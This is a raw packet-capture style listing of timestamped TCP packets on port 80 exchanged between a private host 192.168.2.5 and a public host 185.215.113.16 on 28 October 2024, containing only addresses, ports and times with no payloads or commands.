Oct 28, 2024 20:50:27.568519115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568532944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568547964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568561077 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568561077 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568561077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568569899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568583012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568598986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568622112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568636894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568639040 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568639040 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568653107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568666935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568682909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568696976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568708897 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568708897 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568712950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568727970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568742990 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568762064 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568762064 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568767071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568784952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568799973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568814993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568829060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568830013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568830013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568844080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568859100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568880081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568901062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568902969 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568902969 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568916082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568932056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568948030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568964005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568980932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568980932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568989038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569004059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569017887 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569020033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569036007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569050074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569066048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569078922 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569078922 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569081068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569097042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569111109 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569124937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569137096 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569137096 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569148064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569163084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569179058 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569195032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569195986 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569195986 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569211006 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569231033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569247007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569274902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569274902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569384098 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569399118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569413900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569428921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569442987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569447041 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569447041 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569461107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569475889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569492102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569508076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569519997 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569519997 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569524050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569541931 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.569587946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.569587946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.572230101 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575550079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575566053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575582981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575598001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575613022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575635910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575642109 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575659037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575670958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575670958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575675011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575691938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575714111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575727940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575740099 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575745106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575764894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575781107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575793028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575793028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575795889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575814009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575826883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575841904 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575846910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575846910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575869083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575884104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575900078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575916052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575917006 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575927019 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575931072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575948000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575962067 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.575962067 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.575984955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576006889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576014996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.576014996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.576023102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576039076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576054096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576071024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576087952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576097965 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.576097965 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.576103926 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576118946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576134920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576148987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576150894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.576150894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.576164961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576181889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576196909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.576199055 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.576256037 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.577550888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577620983 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577696085 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.577763081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577785015 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577807903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577820063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577833891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577833891 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.577850103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577863932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577872038 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.577872038 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.577888012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577903032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577918053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577931881 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577936888 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.577936888 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.577949047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577965975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577980042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.577996016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578008890 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578008890 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578016996 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578039885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578053951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578068018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578083038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578087091 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578087091 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578098059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578114986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578129053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578130960 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578140020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578146935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578162909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578186035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578201056 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578201056 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578212023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578227043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578241110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578257084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578272104 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578272104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578289032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578304052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578311920 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578313112 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578319073 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578341007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578363895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578367949 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578377962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578392982 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578407049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578418016 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578423023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578438044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578449011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578449011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578461885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578476906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578491926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578493118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578507900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578524113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578537941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578541040 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578541040 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578553915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578572035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578573942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578589916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578604937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578625917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578628063 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578644037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578659058 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578674078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578677893 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578677893 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578691006 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578707933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578722000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578736067 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578751087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578753948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578753948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578766108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578779936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578795910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578803062 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578803062 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578810930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578829050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578843117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578857899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578865051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578865051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578876019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578891039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578900099 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578907967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578922987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578938007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578952074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578967094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.578974962 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578974962 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.578983068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.579000950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.579014063 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.579014063 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.579015970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.579339027 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.580476999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.585872889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.585889101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.585905075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.585968971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.585983992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.585999012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586004019 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586004019 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586014986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586030960 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586039066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586054087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586070061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586086035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586101055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586107969 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586107969 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586119890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586136103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586150885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586164951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586198092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586198092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586206913 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586222887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586241961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586256981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586272001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586287975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586303949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586304903 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586304903 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586318016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586333990 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586349010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586361885 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586361885 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586365938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586384058 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586420059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586421967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586421967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586435080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586451054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586463928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586478949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586487055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586491108 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586494923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586510897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586535931 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586582899 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586594105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586608887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586625099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586646080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586661100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586677074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586678982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586678982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586693048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586708069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586715937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586723089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586730003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586738110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586751938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586776018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586781025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586803913 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586823940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586841106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586855888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586862087 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586862087 CET	52257	80	192.168.2.5	185.215.113.16
